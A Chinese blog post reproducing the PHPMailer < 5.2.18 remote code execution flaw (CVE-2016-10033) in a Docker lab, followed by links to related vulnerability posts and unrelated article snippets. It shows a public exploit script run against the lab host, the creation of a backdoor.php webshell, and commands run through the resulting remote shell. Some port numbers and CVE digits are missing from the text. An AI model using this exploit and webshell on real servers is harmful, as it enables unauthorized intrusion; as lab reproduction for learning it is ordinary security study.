PHPMailer < 5.2.18 Remote Code Execution 

  本文将简单展示一下PHPMailer远程代码执行漏洞(CVE-2016-10033)的利用过程,使用的是别人已经搭建好的docker环境,见参考链接。

  实验环境是在Ubuntu 16.04.3上,使用docker镜像。

安装和使用docker镜像

  首先需要在ubuntu上安装docker,可使用如下命令进行安装:

root@starnight:~# apt-get install docker.io    【安装docker】
root@starnight:~# docker run --rm -it -p : vulnerables/cve--
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.17.0.2. Set the 'ServerName' directive globally to suppress this message
==> /var/log/apache2/access.log <== ==> /var/log/apache2/error.log <==
[Thu Nov ::47.098917 ] [mpm_prefork:notice] [pid ] AH00163: Apache/2.4. (Debian) configured -- resuming normal operations
[Thu Nov ::47.101902 ] [core:notice] [pid ] AH00094: Command line: '/usr/sbin/apache2 -f /etc/apache2/apache2.conf' ==> /var/log/apache2/other_vhosts_access.log <==

  安装完docker之后,需要把相应的靶机环境下载(pull)下来,首次运行上面那条命令会下载docker镜像,之后就会像上面运行的那样,表明docker镜像正在运行。

  查看一下ip地址:

root@starnight:~# ifconfig | grep inet
inet addr:172.17.0.1 Bcast:0.0.0.0 Mask:255.255.0.0
inet6 addr: fe80:::4aff:fe88:49e5/ Scope:Link
inet addr:192.168.0.8 Bcast:192.168.0.255 Mask:255.255.255.0
inet6 addr: fe80::a7c0:e1f7::7e6a/ Scope:Link
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::/ Scope:Host
inet6 addr: fe80::98a9:5bff:fe1f:b1c9/ Scope:Link

  这里192.168.0.8是我们Ubuntu的ip地址,172.17.0.1是docker镜像的内部地址,通过访问http://192.168.0.8:8080/, 就能看到搭建好的存在漏洞的环境:

漏洞测试

  接下来我们使用kali来进行测试, 下载exploit-CVE-2016-10033中的exploit.sh到本地,运行如下命令进行测试:

root@kali:~/penetest/CVE--# ./exploit.sh 192.168.0.8:
[+] CVE-- exploit by opsxcq
[+] Exploiting 192.168.0.8:
[+] Target exploited, acessing shell at http://192.168.0.8:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell> ls
[+] Running ls
vulnerable

RemoteShell> pwd
[+] Running pwd
/www

  其实,这里并不是所有的命令运行都会正常回显(略尴尬),比如说查看ip地址的命令ifconfig就看不到输出。

  此外,我们在服务器端的输出中也能看到一些有趣的东西:

  

  更多详情,请参考下面的链接。

References

  opsxcq/exploit-CVE-2016-10033  

  PHPMailer < 5.2.18 - Remote Code Execution (Bash)

  PHPMailer < 5.2.18 - Remote Code Execution (PHP)

  PHPMailer < 5.2.18 - Remote Code Execution (Python)

PHPMailer < 5.2.18 远程代码执行漏洞(CVE-2016-10033)的更多相关文章

  1. IIS_CVE-2017-7269 IIS6.0远程代码执行漏洞复现

    CVE-2017-7269 IIS6.0远程代码执行漏洞复现 一.漏洞描述 IIS 6.0默认不开启WebDAV,一旦开启了WebDAV,安装了IIS6.0的服务器将可能受到该漏洞的威胁. 二.影响版 ...

  2. IIS6远程代码执行漏洞复现CVE-2017-7269

    简述 CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行 ...

  3. 最新漏洞:Spring Framework远程代码执行漏洞

    Spring Framework远程代码执行漏洞 发布时间 2022-03-31 漏洞等级 High CVE编号 CVE-2022-22965 影响范围:同时满足以下三个条件可确定受此漏洞影响: JD ...

  4. Spring Framework远程代码执行漏洞复现(CVE-2022-22965)

    1.漏洞描述 漏洞名称 Spring Framework远程代码执行漏洞 公开时间 2022-03-29 更新时间 2022-03-31 CVE编号 CVE-2022-22965 其他编号 QVD-2 ...

  5. Spring框架的反序列化远程代码执行漏洞分析(转)

    欢迎和大家交流技术相关问题: 邮箱: jiangxinnju@163.com 博客园地址: http://www.cnblogs.com/jiangxinnju GitHub地址: https://g ...

  6. Apache Struts 远程代码执行漏洞(CVE-2013-4316)

    漏洞版本: Apache Group Struts < 2.3.15.2 漏洞描述: BUGTRAQ ID: 62587 CVE(CAN) ID: CVE-2013-4316 Struts2 是 ...

  7. MongoDB ‘conn’Mongo 对象远程代码执行漏洞

    漏洞名称: MongoDB ‘conn’Mongo 对象远程代码执行漏洞 CNNVD编号: CNNVD-201307-497 发布时间: 2013-07-25 更新时间: 2013-07-25 危害等 ...

  8. Struts2再爆远程代码执行漏洞

    Struts又爆远程代码执行漏洞!在这次的漏洞中,攻击者可以通过操纵参数远程执行恶意代码.Struts 2.3.15.1之前的版本,参数action的值redirect以及redirectAction ...

  9. struts2之高危远程代码执行漏洞,可造成服务器被入侵,下载最新版本进行修复

          Struts2 被发现存在新的高危远程代码执行漏洞,可造成服务器被入侵,只要是Struts2版本 低于 2.3.14.3 全部存在此漏洞.目前官方已经发布了最新的版本进行修复.请将stru ...

随机推荐

  1. 【POJ】3090 Visible Lattice Points(欧拉函数)

    Visible Lattice Points Time Limit: 1000MS   Memory Limit: 65536K Total Submissions: 7705   Accepted: ...

  2. B树、B+树、B*树

    二叉搜索树 即二叉搜索树: 1.所有非叶子结点至多拥有两个儿子(Left和Right): 2.所有结点存储一个关键字: 3.非叶子结点的左指针指向小于其关键字的子树,右指针指向大于其关键字的子树: 如 ...

  3. java递归的应用和实例

    使用计算机计算组合数: 1.使用组合数公式利用n!来计算 设计思想 (1)首先解决求n!的函数 (2)再结合组合数公式,求组合数 程序流程图 源程序代码 package Zuote; import j ...

  4. MyEclipse的JQuery.min.js报错红叉解决办法

    MyEclipse的JQuery.min.js报错红叉解决办法 1.选中报错的jquery文件"jquery-1.2.6.min.js".2.右键选择 MyEclipse--> ...

  5. HDU1300 Pearls

    +)*= +)*= .总共需要的花费是150+=++)*= .在两组数据看来.珍珠都买了高品质的了,而且花费也少了!问题是怎么样能花费最少买珍珠! Add:合并肯定是相邻的合并.比如啊a<b&l ...

  6. 使用dropload.js插件进行下拉刷新

    移动端的下拉刷新是一个比较常见的功能了,网上也有很多框架,插件都有这种功能,所以直接拿来用就好了. html代码: <!--选项卡--><div class="tab&qu ...

  7. 标准模型和IE模型的区别:

    标准模型和IE模型的区别:    标准盒子模型的content的宽高不包含其他部分,但是IE盒子模型的content部分包含padding和border 比如:margin=10:border=5:p ...

  8. ssi服务器端指令详解(shtml)

    你是否曾经或正在为如何能够在最短的时间内完成对一个包含上千个页面的网站的修改而苦恼?那么可以看一下本文的介绍,或许能够对你有所帮助. 什么是SSI? SSI是英文Server Side Include ...

  9. 1. Apache ZooKeeper快速课程入门

    Tips Tips做一个终身学习的人! 日拱一卒,功不唐捐. 在过去的几十年里,互联网改变了我们生活的方式.Internet上提供的服务通常由复杂的软件系统支持,这些系统跨越了大量的服务器,而且常常位 ...

  10. 探索equals()和hashCode()方法

    探索equals()和hashCode()方法 在根类Object中,实现了equals()和hashCode()这两个方法,默认: equals()是对两个对象的地址值进行的比较(即比较引用是否相同 ...